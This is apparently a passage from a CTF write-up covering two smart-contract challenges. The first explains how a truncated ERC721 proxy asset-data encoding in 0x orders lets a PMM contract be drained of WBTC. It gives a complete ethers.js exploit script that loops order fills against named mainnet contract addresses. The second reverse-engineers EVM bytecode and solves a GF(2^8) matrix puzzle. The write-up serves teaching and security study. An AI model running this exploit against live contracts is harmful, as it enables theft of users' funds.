                mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
                
                /////// Setup Params Area ///////
                // We copy the fields `from` and `to` in bulk
                // from our own calldata to the new calldata.
                calldatacopy(4, 36, 64)

                // Copy `tokenId` field from our own calldata to the new calldata.
                let assetDataOffset := calldataload(4)
                calldatacopy(68, add(assetDataOffset, 72), 32)

                /////// Call `token.transferFrom` using the calldata ///////
                let token := calldataload(add(assetDataOffset, 40))
                let success := call(
                    gas,            // forward all gas
                    token,          // call address of token contract
                    0,              // don't send any ETH
                    0,              // pointer to start of input
                    100,            // length of input
                    0,              // write output to null
                    0               // output size is 0 bytes
                )
                if success {
                    return(0, 0)
                }
                
                // Revert with `Error("TRANSFER_FAILED")`
                mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
                mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
                mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000)
                mstore(96, 0)
                revert(0, 100)
            }

            // Revert if undefined function is called
            revert(0, 0)
        }
    }

Here, the important line is calldatacopy(68, add(assetDataOffset, 72), 32). When abi-encoding the proxy calldata to transferFrom(bytes,address,address,uint256), the bytes field is dynamic, and it's data will be placed at the end of the calldata. That means that if our assetData is truncated, this calldatacopy will copy from beyond the bounds of the calldata, which are defined to be 0 bytes by the EVM. So, omitting the tokenId from an ERC721 proxy encoding is equivalent to setting tokenId = 0.

But how does this help us? The ERC721 proxy will call ERC721(address).transferFrom(from, to, 0), so wouldn't that simply fail if we set address == WBTC? As it turns out, no! Coincidentally, ERC721.transferFrom and ERC20.transferFrom have the same signature, so the transferFrom call will look like an attempt to transfer 0 WBTC!

Exploit

In order to exploit this bug, we need to execute a 0x order with makerAssetData = abi.encodeWithSelector(ERC721_PROXY_SELECTOR, WBTC). PMM assumes that 0x uses the ERC20 proxy and transfers makerAssetAmount of WBTC, but instead the ERC721 proxy transfers 0 WBTC! PMM will then transfer us makerAssetAmount of WBTC.

So… does that mean somebody could currently drain the PMM contract of all its tokens? Not quite, because of one small detail: the ERC721 proxy requires that makerAssetAmount = 1 (because transfering more than 1 ERC721 of the same tokenId doesn't make sense). This means that for each order you execute, you can only steal 1 of the token, which is almost always a negligible amount of value (especially compared to the gas cost of the exploit!). In this challenge, we're paying for gas with fake ETH, so we will simply repeat the exploit 128 times to get the flag!

Actually constructing and executing the orders is a little bit tedious, so we won't explain all the details, but the full exploit code is below:

import { BigNumber, Contract, providers, Wallet, utils } from "ethers";
import { readFileSync } from "fs";

const provider = new providers.JsonRpcProvider("{REDACTED}")
const privkey = "{REDACTED}";
const wallet = new Wallet(privkey, provider);

async function main() {
    console.log(await provider.getBlockNumber());

    const WBTC = new Contract(
        "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599",
        readFileSync("WBTC.abi").toString(),
        wallet
    );
    const PMM = new Contract(
        "0x8D90113A1e286a5aB3e496fbD1853F265e5913c6",
        readFileSync("PMM.abi").toString(),
        wallet
    );
    const UserProxy = new Contract(
        "0x03f34be1bf910116595db1b11e9d1b2ca5d59659",
        readFileSync("UserProxy.abi").toString(),
        wallet
    );
    const ZeroExchange = new Contract(
        "0x080bf510FCbF18b91105470639e9561022937712",
        readFileSync("zeroex.abi").toString(),
        wallet
    );

    let before = WBTC.balanceOf(PMM.address);

    // truncated ERC-721 proxy, reads 0 for tokenID
    let fakeMakerAssetData = "0x025717920000000000000000000000002260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";

    // ERC-20 proxy
    let realMakerAssetData = "0xF47261B00000000000000000000000002260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";

    let ZERO_ADDR = "0x0000000000000000000000000000000000000000";
    let makerAddress = wallet.address;
    let takerAddress = ZERO_ADDR;

    for (var i = 0; i < 200; i++) { // repeat 200 times in case some fail; this is overkill
        const order = {
            makerAddress,
            takerAddress: PMM.address,
            //takerAddress: ZERO_ADDR,
            feeRecipientAddress: ZERO_ADDR,
            senderAddress: ZERO_ADDR,
            makerAssetAmount: 1,
            takerAssetAmount: 1,
            makerFee: 0,
            takerFee: 0,
            expirationTimeSeconds: 1700000000n + BigInt(i), // change the expiration time to get different order hashes
            salt: 0,
            makerAssetData: fakeMakerAssetData,
            takerAssetData: "0xF47261B0000000000000000000000000C02AAA39B223FE8D0A0E5C4F27EAD9083C756CC2",
        };

        let info = await ZeroExchange.getOrderInfo(order);
        await ZeroExchange.preSign(info.orderHash, order.makerAddress, "0x");
        let zxCall = await ZeroExchange.populateTransaction.fillOrKillOrder(order, order.takerAssetAmount, "0x" + "00".repeat(100) + "06");

        let userSalt = 0n;

        let SCHEMA = utils.keccak256(utils.toUtf8Bytes("ZeroExTransaction(uint256 salt,address signerAddress,bytes data)"));
        let dataHash = utils.keccak256(zxCall.data as string);
        let transactionHash = utils.keccak256(
            utils.defaultAbiCoder.encode(
                ["bytes32", "uint256", "address", "bytes32"],
                [SCHEMA, userSalt, PMM.address, dataHash]
            )
        );

        let digest = utils.solidityKeccak256([ "bytes32", "address" ], [ transactionHash, wallet.address ]);
        let userSignature = await  wallet.signMessage(utils.arrayify(digest));
        userSignature += wallet.address.substring(2);

        let pmmCall = await PMM.populateTransaction.fill(userSalt, zxCall.data, userSignature);
        try {
            let res = await UserProxy.toPMM(pmmCall.data, { value: order.takerAssetAmount, gasLimit: 2000000 });
            console.log(i, (await res.wait()).transactionHash);
        } catch(e) {
            console.log(i, e)
        }
    }

    let after = await WBTC.balanceOf(PMM.address);
    console.log(before, after);
    console.log("now go get the flag!")
}

fun-reversing-challenge

This is an EVM reverse-engineering challenge. The server will show the flag if isSolved() returns true.

import "Challenge.sol";

interface ChallengeInterface {
  function solved() external view returns (bool);
}

contract Setup {
  ChallengeInterface public challenge;
  
  constructor() {        
    challenge = ChallengeInterface(address(new Challenge()));
  }
  
  function isSolved() public view returns (bool) {
    return challenge.solved();
  }
}

To solve this, we need to analyze the Challenge contract and make challenge.solved() true. The source code of Challenge is not given to participants. Only EVM opcodes could be collected using JSON-RPC API (eth_getCode).

High-level operations

The contract accepts two function selectors:

  • 0x799320bb aka solved() returns uint8/bool value from storage slot 0x0 (bool solved),
  • 0xc64b3bb5 accepts an input in unknown format and sets solved = 1 if the input meets certain condition.

The rest of this article discusses about 0xc64b3bb5.

Bottom-up analysis

As part of bottom-up analysis, we first collected possible entry offsets of functions by static analysis and decompiled each function. Then we filtered out some known library-generated functions. At Theori, we are building internal tools (including a decompiler) to analyze smart contracts. We used these tools to efficiently and correctly analyze the EVM bytecode. We hope to make them available to the public in the near future.

  • Safe mathematics
    • func_cd3: +
    • func_cb4: *
    • func_ca1: -
    • func_ce6: ++
  • Others
    • func_{b3d,8c5,9d4} calculates something
    • func_a85 compares the calculation result with constant values
    • func_888 calls func_a85 and sets solved = 1 if the returned value is 1

func_b3d: modular multiplication over GF(2^8) with modulo 0x11b

function func_b3d (uint256 a0, uint256 a1, uint256 a2) returns (uint256) {
  uint256 v0;
  uint256 v1;
  uint256 v2;
  v0 = a1;
  v1 = a2;
  v2 = 0x0;
  do {
    if (v1 & 0x1) {
      v2 = v0 ^ v2;
    }
    if (v0 & 0x80) {
      v0 = 0x1b ^ ((uint8)v0 << 1);
    } else {
      v0 = (uint8)v0 << 1;
    }
    v1 = (uint8)v1 >> 0x1;
  } while ((uint8)v1);
  return v2;
}

This routine seemed like a multiplication over the finite field GF(2^8), which is described in Wikipedia. The whole routine was the same, including the modulo used in the multiplication.

func_a85: comparison over two 6x6 matrices

function func_a85 (uint256 a0, uint256 a1, uint256 a2) returns (uint8) {
...
  v0 = a1;
  v1 = a2;
  v2 = 0x0;
  while (v2 < 0x6) {
    v3 = 0x0;
    while (v3 < 0x6) {
      if (v2 < 0x6) {
        v4 = MLOAD((v2 << 0x5) + v1);
        if (v3 < 0x6) {
          v5 = (uint8)MLOAD((v3 << 0x5) + v4);
          if (v2 < 0x6) {
            v6 = MLOAD((v2 << 0x5) + v0);
            if (v3 < 0x6) {
              if ((uint8)MLOAD((v3 << 0x5) + v6) != v5) {
                return 0x0;
              }
              v3 = safe_increment(v3);
              continue;
            }
          }
        }
      }
      MSTORE32(0x0, 0x4e487b71 << 0xe0);
      MSTORE32(0x4, 0x32);
      revert(0x0, 0x24);
    }
    v2 = safe_increment(v2);
  }
  return 0x1;
}

The decompiled code above has some redundant patterns. Specifically, while iterating v2 over [0, 6), it checks if v2 < 0x6 before each memory access: MLOAD, MSTORE32. If the comparison fails, it simply reverts. From this behavior, we can speculate them as boundary checks against fixed-size array like uint8[6][6].

Then it accesses uint256 values at the offset MEM[v2 << 0x5] + (v3 << 5) from a1(=v0) and (a2=v1). There are two solidity-specific design decisions to note (from Solidity documentation):

  • Each uint8 actually occupies 32 bytes in the memory.

    Elements in memory arrays in Solidity always occupy multiples of 32 bytes …

  • Instead of using 6x6 (36) elements, it uses the pointers to uint8[6] arrays, like double pointers in other languages.

    Multi-dimensional memory arrays are pointers to memory arrays.

Also after googling 0x4e487b71, we learned that this revert() is generated by solidity for array bound checks. With this in mind, we can simplify the code as below, which becomes a simple matrix comparison:

function func_a85(uint8[6][6] a2, uint8[6][6] a3) {
  for(uint v2 = 0; v2 < 6; v2++) {
    for(uint v3 = 0; v3 < 6; v3++) {
      if(a1[v2][v3] != a2[v2][v3]) {
        return 0;
      }
    }
  }
  return 1;
}

func_8c5, func_9d4: matrix multiplication and addition

This is what we have after removing the similar boundary checks from the other two functions:

function func_8c5(a1, a2) {
  func_b92();
  v2 = func_b92();
  for(uint v3 = 0; v3 < 6; v3++) {
    for(uint v4 = 0; v4 < 6; v4++) {
      for(uint v5 = 0; v5 < 6; v5++) {
        v9 = func_b3d(a1[v3][v5], a2[v5][v4]);
        v2[v3][v4] ^= v9
      }
    }
  }
}

function func_9d4(a1, a2) {
  for(uint v2 = 0; v2 < 6; v2++) {
    for(uint v3 = 0; v3 < 6; v3++) {
      a1[v2][v3] ^= a2[v2][v3]
    }
  }
}

In finite field arithmetic, xor (^) is used for addition, so we can see that func_9d4 is matrix addition and func_8c5 is multiplication.

Analyzing the remaining parts

Then, from the function trace, we found out that it calls

  1. matrix multiplication with M0
  2. matrix addition with M1
  3. comparison with M2

where M0 ~ M2 is hardcoded matrices.

Maybe we can just reverse these steps in 3-2-1 and check the result! Before trying it out, we need to dump the matrices. Since the current EVM debuggers do not have decent interactive memory viewer/dumper (if you know any, please let us know), we patched 0x8c5 to log the whole memory into the log, using LOG0 instruction. For testing we used forge test -vvvv inside Foundry.

Code patch:

PUSH3 0x100000 ; memory length
PUSH1 0x0      ; memory offset
LOG0           ; dump memory to log
SELFDESRTUCT   ; for cleanup
=>
621000006000A0FF

Dumped matrices:

M0 = [
  [0xbe, 0x9a, 0xc2, 0x24, 0x7f, 0x4d],
  [0x59, 0xde, 0x3b, 0x61, 0x0a, 0x1a],
  [0xc8, 0x18, 0x96, 0x0e, 0x94, 0x4d],
  [0xe3, 0x64, 0x8c, 0x6d, 0x76, 0xfe],
  [0x16, 0xd1, 0x41, 0x8e, 0x0e, 0x50],
  [0xe7, 0x42, 0xa4, 0x87, 0x8e, 0x6b],
]
M1 = [
  [0x23, 0xab, 0x1e, 0x4c, 0xe9, 0x0e],
  [0xef, 0x53, 0xb4, 0xac, 0x18, 0xb1],
  [0x3c, 0xc2, 0x2f, 0x34, 0x4a, 0x18],
  [0x65, 0x94, 0x67, 0xd3, 0x59, 0x29],
  [0xa0, 0x27, 0x4a, 0x73, 0xcd, 0x88],
  [0x5e, 0x32, 0x50, 0x20, 0x80, 0x0e],
]
M2 = [
  [0x62, 0x62, 0x2d, 0x57, 0x82, 0x2a],
  [0xc8, 0xb8, 0x6b, 0x66, 0x8b, 0x19],
  [0x49, 0x8b, 0x3a, 0x88, 0xd9, 0x81],
  [0xdb, 0x15, 0x6b, 0xcc, 0x12, 0xdb],
  [0x91, 0xc0, 0x11, 0x56, 0xa6, 0xd9],
  [0x28, 0xf8, 0x2b, 0x47, 0x5d, 0xe2],
]

Because why not, we gave it a try without further analysis. Unfortunately, just running the steps in reverse order didn't give us a printable text or flag (which was technically not required but probably meant we are not doing it correctly).

Since we also need to figure out the input format required by 0xc64b3bb5, we decided to analyze how the functions above are called exactly using EVM disassembler e.g., ida-evm.

EVM control flow graph generated by IDA Pro and ida-evm

Reading the assembly, we found the following input-related checks:

  • The selector takes single argument in bytes format with the length of 42 
    ​​evm:00000071                 JUMPDEST
​​evm:00000072                 PUSH1    0x2a
​​evm:00000074                 DUP2
​​evm:00000075                 EQ ; func_bdd() == 0x2a
  • The input is in PCTF{...} format 
    ​​; Checks if the 1st byte is 0x50 (P)
​​evm:000000C2                 PUSH1    0x5
​​evm:000000C4                 PUSH1    0xfc
​​evm:000000C6                 SHL
​​evm:000000C7                 EQ ; 0x5 << 0xfc == input[0] << 0xf8
​​; the 2nd byte is 0x43 (C)
​​evm:000000F6                 PUSH1    0x43
​​evm:000000F8                 PUSH1    0xf8
​​evm:000000FA                 SHL
​​evm:000000FB                 EQ ; 0x43 << 0xf8 == input[1] << 0xf8
​​...

Then the character inside PCTF{...} is 36 bytes, which fits into 6x6 matrix. Now we'll analyze how each functions are called.

evm:0000081C routine:                                ;
evm:0000081C                 PUSH2    0x838          ; #2 JUMP at 0x837 returns to 0x838
evm:0000081F                 DUP4
evm:00000820                 PUSH2    0x832          ; #1 JUMP at 0x831 returns to 0x832
evm:00000823                 DUP7
evm:00000824                 DUP6
evm:00000825                 PUSH2    0x8c5          ; multiply matrices
evm:00000828                 SWAP1                   ; x, func_8c5
evm:00000829                 SWAP2                   ; y, func_8c5, x
evm:0000082A                 SWAP1                   ; func_8c5, y, x
evm:0000082B                 PUSH4    0xffffffff
evm:00000830                 AND
evm:00000831                 JUMP
evm:00000832 ; ----------------------------------------------------------------------
evm:00000832                 JUMPDEST
evm:00000833                 SWAP1
evm:00000834                 PUSH2    0x9d4          ; add matrices
evm:00000837                 JUMP
evm:00000838 ; ----------------------------------------------------------------------
evm:00000838                 JUMPDEST
evm:00000839                 SWAP4
evm:0000083A                 POP
evm:0000083B                 PUSH2    0x848          ; #4 JUMP at 0x837 returns to 0x848
evm:0000083E                 DUP4
evm:0000083F                 PUSH2    0x832          ; #3 JUMP at 0x847 returns to 0x832
evm:00000842                 DUP5
evm:00000843                 DUP8
evm:00000844                 PUSH2    0x8c5
evm:00000847                 JUMP
evm:00000848 ; ----------------------------------------------------------------------
... repeated 6 times
evm:00000888                 JUMPDEST
evm:00000889                 SWAP4
evm:0000088A                 POP
evm:0000088B                 PUSH2    0x894
evm:0000088E                 DUP5
evm:0000088F                 DUP3
evm:00000890                 PUSH2    0xa85          ; compare matrices
evm:00000893                 JUMP

0000081C ~ 00000831 sets up EVM stack like:

| func_8c5 (multiply) | arg1 | arg2 | 00000832 | 00000838 |

After func_8c5 is finished, it returns to the caller function by executing JUMP, which is 00000832. Then 00000832 sets up EVM stack like below:

| func_9d4 (add) | arg1 | arg2 | 00000838 |

So we can see that multiplication comes first, followed by addition. Interestingly, 00000838 ~ 00000847 uses 00000832 again after calling the multiplication for the second time. So, 00000832 is used like a reusable piece of code for matrix addition. This pattern is repeated 6 times, then the comparison function at 0xa85 is called.

From the above, we now know that the step 1, 2 is repeated 6 times. By doing this in reverse step, we can get the flag.

Solution

M0 = [
    [0xbe, 0x9a, 0xc2, 0x24, 0x7f, 0x4d],
    [0x59, 0xde, 0x3b, 0x61, 0x0a, 0x1a],
    [0xc8, 0x18, 0x96, 0x0e, 0x94, 0x4d],
    [0xe3, 0x64, 0x8c, 0x6d, 0x76, 0xfe],
    [0x16, 0xd1, 0x41, 0x8e, 0x0e, 0x50],
    [0xe7, 0x42, 0xa4, 0x87, 0x8e, 0x6b],
]
M1 = [
    [0x23, 0xab, 0x1e, 0x4c, 0xe9, 0x0e],
    [0xef, 0x53, 0xb4, 0xac, 0x18, 0xb1],
    [0x3c, 0xc2, 0x2f, 0x34, 0x4a, 0x18],
    [0x65, 0x94, 0x67, 0xd3, 0x59, 0x29],
    [0xa0, 0x27, 0x4a, 0x73, 0xcd, 0x88],
    [0x5e, 0x32, 0x50, 0x20, 0x80, 0x0e],
]
M2 = [
    [0x62, 0x62, 0x2d, 0x57, 0x82, 0x2a],
    [0xc8, 0xb8, 0x6b, 0x66, 0x8b, 0x19],
    [0x49, 0x8b, 0x3a, 0x88, 0xd9, 0x81],
    [0xdb, 0x15, 0x6b, 0xcc, 0x12, 0xdb],
    [0x91, 0xc0, 0x11, 0x56, 0xa6, 0xd9],
    [0x28, 0xf8, 0x2b, 0x47, 0x5d, 0xe2],
]

# Setup GF(2^8) finite field with modulus 0x11b (x^8 + x^4 + x^3 + x + 1)
F.<x> = GF(2^8, modulus=GF(2^9).fetch_int(0x11b))
M0 = Matrix(F, Matrix(M0).apply_map(F.fetch_int))
M1 = Matrix(F, Matrix(M1).apply_map(F.fetch_int))
M2 = Matrix(F, Matrix(M2).apply_map(F.fetch_int))


def print_flag(flag):
    flag_int = bytearray(36)
    for i in range(6):
        for j in range(6):
            flag_int[6*i+j] = flag[i, j].integer_representation()
    print(flag_int)


flag = M2
for i in range(6):
    flag = flag + M0
    flag = (M1 ^ -1) * flag
print_flag(flag)
Last changed by 
 
Theori
0
4
3050
Published on HackMD